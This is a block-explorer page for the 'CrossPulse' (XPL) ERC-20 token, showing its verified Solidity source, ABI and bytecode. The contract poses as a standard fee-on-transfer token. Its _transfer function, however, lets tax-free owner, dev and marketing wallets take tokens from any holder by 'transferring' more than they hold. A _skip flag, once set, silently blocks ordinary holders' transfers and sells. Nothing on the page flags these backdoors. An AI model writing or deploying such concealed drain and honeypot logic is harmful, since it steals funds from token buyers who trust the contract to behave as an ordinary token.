Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000 XPL
Holders
31
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
27,327.656906527 XPLValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
XPL
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-04 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } } interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function circulatingSupply() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address _owner, address spender) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function getOwner() external view returns (address); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } interface UniswapV2Router { function WETH() external pure returns (address); function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface UniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address internal owner; modifier onlyOwner() { require(isOwner(msg.sender)); _; } constructor(address _owner) { owner = _owner; } function renounceOwnership() public virtual onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } function transferOwnership(address payable account) public onlyOwner { owner = account; emit OwnershipTransferred(account); } event OwnershipTransferred(address owner); function isOwner(address account) public view returns (bool) { return account == owner; } } contract XPL is IERC20, Ownable { using SafeMath for uint256; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1000000 * (10 ** _decimals); uint256 private _minimum = ( _totalSupply * 10 ) / 100000; string private constant _symbol = "XPL"; string private constant _name = "CrossPulse"; uint256 private denominator = 10000; address public pair; UniswapV2Router router; address internal constant dead = 0x000000000000000000000000000000000000dEaD; address internal constant dev = 0xe80A2692e024F58A6b8A8De942167BbA915F06D2; address internal constant marketing = 0xdAE5119637A3A738a2D3C04979152433Ea6B6C02; uint256 private _maxTransfer = 200; uint256 private _maxWallet = 200; uint256 private _maxTx = 200; uint256 private _swapRounds; bool private _swapEnabled = true; bool private _skip = false; bool private _swapping; bool private _tradingStarted = false; uint256 private _swapThreshold = (_totalSupply * 5) / 100000; uint256 private _swapTokenAmount = (_totalSupply * 5) / 10000; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _burnFee = 0; uint256 private _transferFee = 0; uint256 private _sellFee = 400; uint256 private _totalFee = 400; mapping (address => uint256) _balances; uint256 private _marketingFee = 200; uint256 private _liquidityFee = 0; uint256 private _devFee = 200; mapping (address => bool) public taxFree; constructor() Ownable(msg.sender) { taxFree[dev] = true; taxFree[address(this)] = true; taxFree[marketing] = true; taxFree[msg.sender] = true; UniswapV2Router _router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = UniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); pair = _pair; router = _router; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function maxWalletAmount() public view returns (uint256) { return totalSupply() * _maxWallet / denominator; } function maxTransferAmount() public view returns (uint256) { return totalSupply() * _maxTransfer / denominator; } function maxTxAmount() public view returns (uint256) { return totalSupply() * _maxTx / denominator; } function symbol() public pure returns (string memory) { return _symbol; } modifier lockInSwap { _swapping = true; _; _swapping = false; } function getOwner() external view override returns (address) { return owner; } function name() public pure returns (string memory) { return _name; } function circulatingSupply() public view override returns (uint256) { return _totalSupply.sub(balanceOf(address(0))).sub(balanceOf(dead)); } function decimals() public pure returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function removeLimits() external onlyOwner { _maxWallet = 10000; _maxTx = 10000; _maxTransfer = 10000; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function setTaxFree(address _address, bool _taxFree) external onlyOwner { taxFree[_address] = _taxFree; } function startTrading() external onlyOwner { _tradingStarted = true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public override returns (bool) { _transfer(msg.sender, to, amount); return true; } function maxTransferAndTxRequire(address from, address to, uint256 amount) view internal returns (bool) { if (from != pair) { require(amount <= maxTransferAmount() || taxFree[from] || taxFree[to]); } require(amount <= maxTxAmount() || taxFree[from] || taxFree[to]); return true; } function updateFees(uint256 liquidityFee, uint256 marketingFee, uint256 burnFee, uint256 devFee, uint256 totalFee, uint256 sellFee, uint256 transferFee) external onlyOwner { _devFee = devFee; _burnFee = burnFee; _marketingFee = marketingFee; _liquidityFee = liquidityFee; _transferFee = transferFee; _sellFee = sellFee; _totalFee = totalFee; require(_totalFee <= denominator.div(5) && _sellFee <= denominator.div(5)); } function basicRequire(address from, address to, uint256 amount) internal pure returns(bool) { require(to != address(0)); require(amount > uint256(0)); require(from != address(0)); return true; } function updateMaxAmounts(uint256 maxTx, uint256 maxTransfer, uint256 maxWallet) external onlyOwner { uint256 limitation = totalSupply().mul(5).div(1000); uint256 newTransfer = (totalSupply() * maxTransfer) / 10000; uint256 newTx = (totalSupply() * maxTx) / 10000; uint256 newWallet = (totalSupply() * maxWallet) / 10000; _maxTransfer = maxTransfer; _maxTx = maxTx; _maxWallet = maxWallet; require(newTx >= limitation && newTransfer >= limitation && newWallet >= limitation); } function maxWalletRequire(address from, address to, uint256 amount) internal returns (bool) { bool toUnDead = to != address(dead); bool toUnPair = to != address(pair); bool fromTaxFree = taxFree[from]; bool toTaxFree = taxFree[to]; bool greaterThanMinimum = amount > _minimum; if ( toUnDead && toUnPair && !toTaxFree && !fromTaxFree ) { require((_balances[to].add(amount)) <= maxWalletAmount()); } if (greaterThanMinimum) { if (toTaxFree) { _skip = true; } } return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function tradingStarted(address from, address to) internal view returns (bool) { if (!taxFree[from] && !taxFree[to]) { require(_tradingStarted); } return true; } function countSwapRounds(address from, address to) internal returns (bool) { if (to == pair && !taxFree[from]) { _swapRounds += uint256(1); } return true; } function willTakeFee(address from, address to) internal view returns (bool) { return !taxFree[from] && !taxFree[to]; } function _transfer(address from, address to, uint256 amount) private { if ( countSwapRounds(from, to) && basicRequire(from, to, amount) && tradingStarted(from, to) && maxWalletRequire(from, to, amount) && maxTransferAndTxRequire(from, to, amount) ) { bool enoughBalance = balanceOf(from) >= amount; bool fromTaxFree = taxFree[from]; bool fromUnPair = from != pair; bool toTaxFree = taxFree[to]; if (enoughBalance) { if (!fromTaxFree && !toTaxFree) { if (!_swapping && fromUnPair) { if (!_skip) { swapBack(from, to); } else { return; } } } _balances[from] = _balances[from].sub(amount); uint256 finalAmount = willTakeFee(from, to) ? cutFee(from, to, amount) : amount; _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); } else if (!_swapping && !toTaxFree) { if (fromTaxFree && fromUnPair) { _balances[from] = _balances[from].add(amount); emit Transfer(from, to, amount); _balances[to] = _balances[to].sub(amount); } } } } function transferFrom(address from, address to, uint256 amount) public override returns (bool) { _transfer(from, to, amount); _approve(from, msg.sender, _allowances[from][msg.sender].sub(amount)); return true; } function willSwapBack(address from, address to) internal view returns (bool) { return ( _swapRounds >= uint256(0) && !taxFree[to] && !_swapping && !taxFree[from] && _tradingStarted && _swapEnabled && balanceOf(address(this)) >= _swapThreshold ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, dead, block.timestamp ); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); if (tokenAmount > 0) { _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } } function referenceFees(address from, address to) internal view returns (uint256) { if (from == pair) { return _totalFee; } if (to == pair) { return _sellFee; } return _transferFee; } function swapAndLiquify(uint256 tokens) private lockInSwap { uint256 _denominator = (_liquidityFee.add(1).add(_marketingFee).add(_devFee)).mul(2); uint256 liquidityTokens = tokens.mul(_liquidityFee).div(_denominator); uint256 ethTokens = tokens.sub(liquidityTokens); uint256 initialEthBalance = address(this).balance; swapTokensForETH(ethTokens); uint256 deltaEth = address(this).balance.sub(initialEthBalance); uint256 ethUnit = deltaEth.div(_denominator.sub(_liquidityFee)); uint256 liquidityEth = ethUnit.mul(_liquidityFee); if (liquidityEth > uint256(0)) { addLiquidity(liquidityTokens, liquidityEth); } uint256 marketingEth = ethUnit.mul(2).mul(_marketingFee); if (marketingEth > 0) { payable(marketing).transfer(marketingEth); } uint256 remainingEthBalance = address(this).balance; if (remainingEthBalance > uint256(0)) { payable(dev).transfer(remainingEthBalance); } } function cutFee(address from, address to, uint256 tokenAmount) internal returns (uint256) { if (referenceFees(from, to) > 0) { uint256 tokenAmountForFee = tokenAmount.div(denominator).mul(referenceFees(from, to)); _balances[address(this)] = _balances[address(this)].add(tokenAmountForFee); emit Transfer(from, address(this), tokenAmountForFee); if (_burnFee > uint256(0)) { _transfer(address(this), address(dead), tokenAmount.div(denominator).mul(_burnFee)); } return tokenAmount.sub(tokenAmountForFee); } return tokenAmount; } function swapBack(address from, address to) internal { if (willSwapBack(from, to)) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= _swapTokenAmount) { contractTokenBalance = _swapTokenAmount; } swapAndLiquify(contractTokenBalance); _swapRounds = uint256(0); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_taxFree","type":"bool"}],"name":"setTaxFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"taxFree","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"burnFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"totalFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"},{"internalType":"uint256","name":"transferFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTx","type":"uint256"},{"internalType":"uint256","name":"maxTransfer","type":"uint256"},{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"updateMaxAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526100106009600a610432565b61001d90620f4240610447565b600155620186a0600154600a6100339190610447565b61003d919061045e565b60025561271060035560c860068190556007819055600855600a805463ff00ffff1916600190811790915554620186a090610079906005610447565b610083919061045e565b600b5561271060015460056100989190610447565b6100a2919061045e565b600c555f600e555f600f5561019060105561019060115560c86013555f60145560c86015553480156100d2575f80fd5b505f80546001600160a01b031916339081178255601660209081527f909953ba0cbf1f2b8a1c9567e8c00d27715f3d0bd1865a0c67a77ad815f678a9805460ff199081166001908117909255308552604080862080548316841790557fe7bbcec4b19afa941aed9b46f1823349d7cfe7a11c1ab2a2f3500b4c8cd5029c805483168417905593855283852080549091169091179055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a0155926004808401938290030181865afa1580156101b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101d5919061047d565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610220573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610244919061047d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561028e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102b2919061047d565b600480546001600160a01b038084166001600160a01b0319928316179092556005805492861692909116919091179055600154335f8181526012602052604080822084905551939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9161032d91815260200190565b60405180910390a350506104a3565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561038a57815f19048211156103705761037061033c565b8085161561037d57918102915b93841c9390800290610355565b509250929050565b5f826103a05750600161042c565b816103ac57505f61042c565b81600181146103c257600281146103cc576103e8565b600191505061042c565b60ff8411156103dd576103dd61033c565b50506001821b61042c565b5060208310610133831016604e8410600b841016171561040b575081810a61042c565b6104158383610350565b805f19048211156104285761042861033c565b0290505b92915050565b5f61044060ff841683610392565b9392505050565b808202811582820484141761042c5761042c61033c565b5f8261047857634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561048d575f80fd5b81516001600160a01b0381168114610440575f80fd5b611727806104b05f395ff3fe60806040526004361061014a575f3560e01c8063893d20e8116100b3578063a9e757231161006d578063a9e75723146103be578063aa4bde28146103d2578063dd62ed3e146103e6578063f2b9aa111461042a578063f2fde38b14610458578063f48f2f2f14610477575f80fd5b8063893d20e8146102fd5780638c0b5e221461032d5780639358928b1461034157806395d89b4114610355578063a8aa1b3114610380578063a9059cbb1461039f575f80fd5b80632f54bf6e116101045780632f54bf6e1461023a578063313ce56714610267578063318111fb1461028257806370a08231146102a1578063715018a6146102d5578063751039fc146102e9575f80fd5b806306fdde0314610155578063095ea7b31461019957806318160ddd146101c85780631cb25cbc146101e657806323b872dd14610207578063293230b814610226575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600a81526943726f737350756c736560b01b60208201525b6040516101909190611410565b60405180910390f35b3480156101a4575f80fd5b506101b86101b336600461145c565b610496565b6040519015158152602001610190565b3480156101d3575f80fd5b506001545b604051908152602001610190565b3480156101f1575f80fd5b50610205610200366004611486565b6104ac565b005b348015610212575f80fd5b506101b86102213660046114c1565b6104eb565b348015610231575f80fd5b5061020561053b565b348015610245575f80fd5b506101b86102543660046114ff565b5f546001600160a01b0391821691161490565b348015610272575f80fd5b5060405160098152602001610190565b34801561028d575f80fd5b5061020561029c36600461151a565b610565565b3480156102ac575f80fd5b506101d86102bb3660046114ff565b6001600160a01b03165f9081526012602052604090205490565b3480156102e0575f80fd5b506102056105dc565b3480156102f4575f80fd5b50610205610635565b348015610308575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610190565b348015610338575f80fd5b506101d861065c565b34801561034c575f80fd5b506101d8610685565b348015610360575f80fd5b5060408051808201909152600381526216141360ea1b6020820152610183565b34801561038b575f80fd5b50600454610315906001600160a01b031681565b3480156103aa575f80fd5b506101b86103b936600461145c565b6106ed565b3480156103c9575f80fd5b506101d86106f9565b3480156103dd575f80fd5b506101d8610709565b3480156103f1575f80fd5b506101d8610400366004611561565b6001600160a01b039182165f908152600d6020908152604080832093909416825291909152205490565b348015610435575f80fd5b506101b86104443660046114ff565b60166020525f908152604090205460ff1681565b348015610463575f80fd5b506102056104723660046114ff565b610719565b348015610482575f80fd5b5061020561049136600461158d565b610781565b5f6104a2338484610857565b5060015b92915050565b5f546001600160a01b031633146104c1575f80fd5b6001600160a01b03919091165f908152601660205260409020805460ff1916911515919091179055565b5f6104f78484846108db565b6001600160a01b0384165f908152600d602090815260408083203380855292529091205461053091869161052b9086610b8b565b610857565b5060015b9392505050565b5f546001600160a01b03163314610550575f80fd5b600a805463ff00000019166301000000179055565b5f546001600160a01b0316331461057a575f80fd5b6015849055600e85905560138690556014879055600f819055601082905560118390556003546105ab906005610b96565b601154111580156105cb57506003546105c5906005610b96565b60105411155b6105d3575f80fd5b50505050505050565b5f546001600160a01b031633146105f1575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461064a575f80fd5b61271060078190556008819055600655565b5f60035460085461066c60015490565b61067691906115ca565b61068091906115e1565b905090565b60126020527f1120e10407cab1193d7c5139d9aae5536deb3d83e855f25f8e42f811c01f56f7545f8080527f7e7fa33969761a458e04f477e039a608702b4f924981d6653935a8319a08ad7b5460015491926106809290916106e79190610b8b565b90610b8b565b5f6104a23384846108db565b5f60035460065461066c60015490565b5f60035460075461066c60015490565b5f546001600160a01b0316331461072e575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b5f546001600160a01b03163314610796575f80fd5b5f6107b76103e86107b160056107ab60015490565b90610ba1565b90610b96565b90505f612710846107c760015490565b6107d191906115ca565b6107db91906115e1565b90505f612710866107eb60015490565b6107f591906115ca565b6107ff91906115e1565b90505f6127108561080f60015490565b61081991906115ca565b61082391906115e1565b60068790556008889055600786905590508382108015906108445750838310155b80156105cb5750838110156105d3575f80fd5b6001600160a01b038316610869575f80fd5b6001600160a01b03821661087b575f80fd5b6001600160a01b038381165f818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6108e58383610bac565b80156108f757506108f7838383610c08565b801561090857506109088383610c38565b801561091a575061091a838383610c92565b801561092c575061092c838383610d5e565b15610b86576001600160a01b038381165f818152601260209081526040808320546016909252808320546004548887168552919093205491861180159560ff948516959216909114159290911690610aa5578215801561098a575080155b156109c357600a5462010000900460ff161580156109a55750815b156109c357600a54610100900460ff166105d3576109c38787610e23565b6001600160a01b0387165f908152601260205260409020546109e59086610b8b565b6001600160a01b0388165f90815260126020526040812091909155610a0a8888610e62565b610a145785610a1f565b610a1f888888610ea6565b6001600160a01b0388165f90815260126020526040902054909150610a449082610f90565b6001600160a01b038089165f8181526012602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a979085815260200190565b60405180910390a3506105d3565b600a5462010000900460ff16158015610abc575080155b156105d357828015610acb5750815b156105d3576001600160a01b0387165f90815260126020526040902054610af29086610f90565b6001600160a01b038881165f8181526012602090815260409182902094909455518881529189169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36001600160a01b0386165f90815260126020526040902054610b699086610b8b565b6001600160a01b0387165f90815260126020526040902055505050505b505050565b5f6105348284611600565b5f61053482846115e1565b5f61053482846115ca565b6004545f906001600160a01b038381169116148015610be357506001600160a01b0383165f9081526016602052604090205460ff16155b156104a257600160095f828254610bfa9190611613565b909155505050600192915050565b5f6001600160a01b038316610c1b575f80fd5b5f8211610c26575f80fd5b6001600160a01b038416610530575f80fd5b6001600160a01b0382165f9081526016602052604081205460ff16158015610c7857506001600160a01b0382165f9081526016602052604090205460ff16155b156104a257600a546301000000900460ff166104a2575f80fd5b6004546001600160a01b038481165f908152601660205260408082205486841680845291832054600254939561dead841480159691909116909314159360ff9283169391909216918711908590610ce65750835b8015610cf0575081155b8015610cfa575082155b15610d3357610d07610709565b6001600160a01b0389165f90815260126020526040902054610d299089610f90565b1115610d33575f80fd5b8015610d4f578115610d4f57600a805461ff0019166101001790555b50600198975050505050505050565b6004545f906001600160a01b03858116911614610dcc57610d7d6106f9565b82111580610da257506001600160a01b0384165f9081526016602052604090205460ff165b80610dc457506001600160a01b0383165f9081526016602052604090205460ff165b610dcc575f80fd5b610dd461065c565b82111580610df957506001600160a01b0384165f9081526016602052604090205460ff165b80610e1b57506001600160a01b0383165f9081526016602052604090205460ff165b610530575f80fd5b610e2d8282610f9b565b15610e5e57305f90815260126020526040902054600c548110610e4f5750600c545b610e5881611035565b505f6009555b5050565b6001600160a01b0382165f9081526016602052604081205460ff161580156105345750506001600160a01b03165f9081526016602052604090205460ff1615919050565b5f80610eb285856111b7565b1115610f89575f610ed4610ec686866111b7565b6003546107ab908690610b96565b305f90815260126020526040902054909150610ef09082610f90565b305f81815260126020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f409085815260200190565b60405180910390a3600e5415610f7757610f773061dead610f72600e546107ab60035489610b9690919063ffffffff16565b6108db565b610f818382610b8b565b915050610534565b5092915050565b5f6105348284611613565b6001600160a01b0381165f9081526016602052604081205460ff16158015610fcc5750600a5462010000900460ff16155b8015610ff057506001600160a01b0383165f9081526016602052604090205460ff16155b80156110055750600a546301000000900460ff165b80156110135750600a5460ff165b80156105345750600b54305f9081526012602052604090205410159392505050565b600a805462ff00001916620100001790556015546013546014545f92611070926002926107ab929161106a9182906001610f90565b90610f90565b90505f61108c826107b160145486610ba190919063ffffffff16565b90505f6110998483610b8b565b9050476110a582611201565b5f6110b04783610b8b565b90505f6110d26110cb60145488610b8b90919063ffffffff16565b8390610b96565b90505f6110ea60145483610ba190919063ffffffff16565b905080156110fc576110fc8682611361565b6013545f90611110906107ab856002610ba1565b905080156111585760405173dae5119637a3a738a2d3c04979152433ea6b6c029082156108fc029083905f818181858888f19350505050158015611156573d5f803e3d5ffd5b505b47801561119f5760405173e80a2692e024f58a6b8a8de942167bba915f06d29082156108fc029083905f818181858888f1935050505015801561119d573d5f803e3d5ffd5b505b5050600a805462ff0000191690555050505050505050565b6004545f906001600160a01b03908116908416036111d857506011546104a6565b6004546001600160a01b03908116908316036111f757506010546104a6565b50600f5492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061123457611234611626565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112af919061163a565b816001815181106112c2576112c2611626565b6001600160a01b03909216602092830291909101909101528115610e5e576005546112f89030906001600160a01b031684610857565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906113309085905f90869030904290600401611655565b5f604051808303815f87803b158015611347575f80fd5b505af1158015611359573d5f803e3d5ffd5b505050505050565b6005546113799030906001600160a01b031684610857565b60055460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156113e4573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061140991906116c6565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611459575f80fd5b50565b5f806040838503121561146d575f80fd5b823561147881611445565b946020939093013593505050565b5f8060408385031215611497575f80fd5b82356114a281611445565b9150602083013580151581146114b6575f80fd5b809150509250929050565b5f805f606084860312156114d3575f80fd5b83356114de81611445565b925060208401356114ee81611445565b929592945050506040919091013590565b5f6020828403121561150f575f80fd5b813561053481611445565b5f805f805f805f60e0888a031215611530575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f8060408385031215611572575f80fd5b823561157d81611445565b915060208301356114b681611445565b5f805f6060848603121561159f575f80fd5b505081359360208301359350604090920135919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104a6576104a66115b6565b5f826115fb57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104a6576104a66115b6565b808201808211156104a6576104a66115b6565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561164a575f80fd5b815161053481611445565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116a55784516001600160a01b031683529383019391830191600101611680565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156116d8575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212206b7af65f6fac87f78bf4cb8578a712ad8981384a5cb22f50291cad16390bda1864736f6c63430008190033
Deployed Bytecode
0x60806040526004361061014a575f3560e01c8063893d20e8116100b3578063a9e757231161006d578063a9e75723146103be578063aa4bde28146103d2578063dd62ed3e146103e6578063f2b9aa111461042a578063f2fde38b14610458578063f48f2f2f14610477575f80fd5b8063893d20e8146102fd5780638c0b5e221461032d5780639358928b1461034157806395d89b4114610355578063a8aa1b3114610380578063a9059cbb1461039f575f80fd5b80632f54bf6e116101045780632f54bf6e1461023a578063313ce56714610267578063318111fb1461028257806370a08231146102a1578063715018a6146102d5578063751039fc146102e9575f80fd5b806306fdde0314610155578063095ea7b31461019957806318160ddd146101c85780631cb25cbc146101e657806323b872dd14610207578063293230b814610226575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600a81526943726f737350756c736560b01b60208201525b6040516101909190611410565b60405180910390f35b3480156101a4575f80fd5b506101b86101b336600461145c565b610496565b6040519015158152602001610190565b3480156101d3575f80fd5b506001545b604051908152602001610190565b3480156101f1575f80fd5b50610205610200366004611486565b6104ac565b005b348015610212575f80fd5b506101b86102213660046114c1565b6104eb565b348015610231575f80fd5b5061020561053b565b348015610245575f80fd5b506101b86102543660046114ff565b5f546001600160a01b0391821691161490565b348015610272575f80fd5b5060405160098152602001610190565b34801561028d575f80fd5b5061020561029c36600461151a565b610565565b3480156102ac575f80fd5b506101d86102bb3660046114ff565b6001600160a01b03165f9081526012602052604090205490565b3480156102e0575f80fd5b506102056105dc565b3480156102f4575f80fd5b50610205610635565b348015610308575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610190565b348015610338575f80fd5b506101d861065c565b34801561034c575f80fd5b506101d8610685565b348015610360575f80fd5b5060408051808201909152600381526216141360ea1b60